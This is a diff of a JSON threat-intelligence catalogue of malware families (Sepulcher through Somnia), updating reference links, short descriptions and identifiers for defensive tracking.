"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/" ], "synonyms": [ @@ -41001,25 +43228,23 @@ "synonyms": [], "type": [] }, - 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"https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/" + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html" ], "synonyms": [], "type": [] @@ -41148,7 +43373,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake", - "https://twitter.com/8th_grey_owl/status/1481433481485844483" + "https://twitter.com/8th_grey_owl/status/1481433481485844483", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -41199,6 +43425,19 @@ "uuid": "6025475a-b89d-401d-882d-50fe1b03154f", "value": "Sepulcher" }, + { + "description": "This malware is protected using VMProtect and related to the loading of KEYPLUG.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.serialvlogger", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0592daf4-5f68-4087-ad4e-efe773009ca6", + "value": "SerialVlogger" + }, { "description": "", "meta": { @@ -41216,30 +43455,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper", - 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} - ], "uuid": "d00c8f94-d6b5-40b7-b167-fc546c5dec38", "value": "Shark" }, @@ -41481,15 +43698,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "203fd529-6382-417e-a68f-7565fbf89ece", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d31f1c73-d14b-41e2-bb16-81ee1d886e43", "value": "SHARPKNOT" }, @@ -41553,7 +43761,7 @@ "value": "ShellClient RAT" }, { - "description": "", + "description": "PCRIsk states that ShellLocker is a ransomware-type virus developed using .NET framework. It was first discovered by Jakub Kroustek and is virtually identical to another ransomware virus called Exotic.\r\n\r\nFollowing infiltration, this virus encrypts stored data (video, audio, etc.) and renames encrypted files using the \"[random_characters].L0cked\" pattern (e.g., \"sample.jpg\" might be renamed to \"gd&=AA0fgoi.L0cked\"). Following successful encryption, ShellLocker opens a pop-up window containing ransom-demand message.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker", @@ -41570,26 +43778,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", + "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", - "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", - "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "67d712c8-d254-4820-83fa-9a892b87923b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6e668c0c-7085-4951-87d4-0334b6a5cdb3", "value": "Shifu" }, @@ -41598,8 +43797,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat", - "https://www.secureworks.com/research/threat-profiles/bronze-walker", - "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf" + "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-walker" ], "synonyms": [], "type": [] @@ -41612,8 +43811,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape", - 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"https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/" + "https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw", + "https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/", + "https://www.zscaler.com/blogs/security-research/new-wave-win32caphaw-attacks-threatlabz-analysis", + "https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/", + "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/", + "http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html" ], "synonyms": [ "Caphaw" @@ -41688,8 +43888,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk", "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", - "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware" ], "synonyms": [ "ScrambleCross" @@ -41704,15 +43904,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder", - "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c", + "https://www.secrss.com/articles/26507", "https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/", "https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c", - "https://s.tencent.com/research/report/479.html", - "https://www.secrss.com/articles/26507", + "https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/", + "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", "https://s.tencent.com/research/report/659.html", - "https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/" + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c", + "https://s.tencent.com/research/report/479.html" ], "synonyms": [], "type": [] @@ -41726,7 +43926,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue", "https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware", - "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/" + "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF" ], "synonyms": [ "H0lyGh0st", @@ -41743,7 +43944,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple", "https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware", - "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/" + "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF" ], "synonyms": [ "H0lyGh0st", @@ -41759,14 +43961,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", - "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", - "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4", "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.us-cert.gov/ncas/alerts/TA14-353A" + "https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4", + "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", + "https://www.us-cert.gov/ncas/alerts/TA14-353A", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware" ], "synonyms": [ "Destover" @@ -41776,6 +43979,21 @@ "uuid": "da92c927-9b31-48aa-854a-8ed49a29565b", "value": "Sierra(Alfa,Bravo, ...)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.siesta_graph", + "https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph", + "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry", + "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a4f4464a-a8d6-4244-af0a-4a8163ab9f47", + "value": "SiestaGraph" + }, { "description": "", "meta": { @@ -41788,6 +44006,19 @@ "uuid": "c12b3e30-32bf-4b7e-98f6-6a00e95553f8", "value": "Siggen6" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sigloader", + "https://www.lac.co.jp/lacwatch/report/20201201_002363.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48bf4991-4743-404a-aac1-72855b30e225", + "value": "SigLoader" + }, { "description": "", "meta": { @@ -41802,41 +44033,52 @@ "value": "sihost" }, { - "description": "", + "description": "According to PCrisk, Truebot, also known as Silence.Downloader, is a malicious program that has botnet and loader/injector capabilities. This malware can add victims' devices to a botnet and cause chain system infections (i.e., download/install additional malicious programs/components).\r\n\r\nThere is significant variation in Truebot's infection chains and distribution. It is likely that the attackers using this malicious software will continue to make such changes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf", "https://securelist.com/the-silence/83009/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "http://www.intezer.com/silenceofthemoles/", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/", + "https://securityintelligence.com/posts/x-force-prevents-zero-day-from-going-anywhere", "https://reaqta.com/2019/01/silence-group-targeting-russian-banks/", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", - "https://github.com/Tera0017/TAFOF-Unpacker", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.group-ib.com/resources/threat-research/silence.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf", + "https://malware.love/malware_analysis/reverse_engineering/2023/03/31/analyzing-truebot-capabilities.html", + "https://malware.love/malware_analysis/reverse_engineering/2023/02/12/analyzing-truebot-packer.html", + "http://www.intezer.com/silenceofthemoles/", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://www.huntress.com/blog/investigating-intrusions-from-intriguing-exploits", + "https://malware.love/malware_analysis/reverse_engineering/2023/02/18/analyzing-truebot-static-unpacking.html", "https://norfolkinfosec.com/some-notes-on-the-silence-proxy/", - "https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/" + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.group-ib.com/resources/threat-research/silence.html", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/" ], "synonyms": [ "TrueBot" ], "type": [] }, - "related": [ - { - "dest-uuid": "304fd753-c917-4008-8f85-81390c37a070", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0df52c23-690b-4703-83f7-5befc38ab376", "value": "Silence" }, + { + "description": "According to Mandiant, SILENTUPLOADER is an uploader written in MSIL that is dropped by DOSTEALER and is designed to work specifically in tandem with it. It checks for files in a specified folder every 30 seconds and uploads them to a remote server.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.silentuploader", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3ed237f1-35b9-4e74-a37e-966bf023d136", + "value": "SILENTUPLOADER" + }, { "description": "", "meta": { @@ -41901,14 +44143,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.recordedfuture.com/turla-apt-infrastructure/", - "https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan", + "https://en.wikipedia.org/wiki/Torpig", + "https://www.recordedfuture.com/turla-apt-infrastructure/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", "https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/", - "https://en.wikipedia.org/wiki/Torpig" + "https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2" ], "synonyms": [ "Anserin", @@ -41928,8 +44170,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/", - "https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4" + "https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/" ], "synonyms": [], "type": [] @@ -41984,15 +44226,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper", - "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf", - "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/" + "https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/" ], "synonyms": [ "Kotel" @@ -42014,6 +44256,19 @@ "uuid": "39002a0d-99aa-4568-b110-48f6df1759cd", "value": "Skyplex" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.slam", + "https://www.sentinelone.com/blog/from-the-front-lines-slam-anatomy-of-a-publicly-available-ransomware-builder/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "400e437d-13b3-44d9-8f75-34f5e82d6c88", + "value": "Slam" + }, { "description": "", "meta": { @@ -42042,14 +44297,14 @@ "value": "SLICKSHOES" }, { - "description": "- 2012 first sighted\r\n- Attack vector via compromised Microtik routers where victim's got infection when they connect to Microtik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer", + "description": "- 2012 first sighted\r\n- Attack vector via compromised Mikrotik routers where victims get infection when they connect to Mikrotik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Mikrotik Router > Malicious DLL (IP4.dll) in Router > User connect via winbox > Malicious DLL downloaded on computer", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot", "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://securelist.com/apt-slingshot/84312/", - "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf", - "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/" + "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/", + "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf" ], "synonyms": [], "type": [] @@ -42058,17 +44313,23 @@ "value": "Slingshot" }, { - "description": "", + "description": "According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver", - "https://github.com/BishopFox/sliver", - "https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf", - "https://www.telsy.com/download/5900/?uid=b797afdcfb", - "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", - "https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/" + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://asec.ahnlab.com/en/47088/", + "https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://github.com/BishopFox/sliver", + "https://www.telsy.com/download/5900/?uid=b797afdcfb", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://github.com/chronicle/GCTI", + "https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/", + "https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/" ], "synonyms": [], "type": [] @@ -42076,13 +44337,26 @@ "uuid": "654c478e-3c9a-4fd9-a9b7-dd6839f51147", "value": "Sliver" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.slnrat", + "https://asec.ahnlab.com/ko/37764/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "68bb36d3-d078-483d-b559-e0d8da5f45fe", + "value": "slnrat" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", - "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" ], "synonyms": [ "QueenOfClubs" @@ -42099,9 +44373,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub", "https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html", "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", - "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf", + "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html" ], "synonyms": [], "type": [] @@ -42114,8 +44388,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-express" + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf" ], "synonyms": [ "speccom" @@ -42143,18 +44417,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1", - "https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html", - 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"https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" ], "synonyms": [], @@ -42212,71 +44486,77 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.cert.pl/en/news/single/dissecting-smoke-loader/", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://x0r19x91.in/malware-analysis/smokeloader/", - "http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html", - 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"http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators" + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" ], "synonyms": [ "Ismo" @@ -42337,31 +44617,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake", - "https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md", + "https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html", "https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://twitter.com/bad_packets/status/1270957214300135426", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/", + "https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/", + "https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html", + "https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", + "https://www.goggleheadedhacker.com/blog/post/22", + "https://twitter.com/milkr3am/status/1270019326976786432", + "https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", "https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017", "https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/", - 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"https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker" + "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" ], "synonyms": [ "Jupyter", @@ -42686,6 +44965,19 @@ "uuid": "2b2cffc5-bf6e-4636-a906-829c32115655", "value": "SombRAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.somnia", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65" + ], + "synonyms": [], + "type": [] + }, + "uuid": "907ed2ce-5407-4e4d-9b1a-596d5489b008", + "value": "Somnia" + }, { "description": "", "meta": { @@ -42719,9 +45011,9 @@ "meta": { 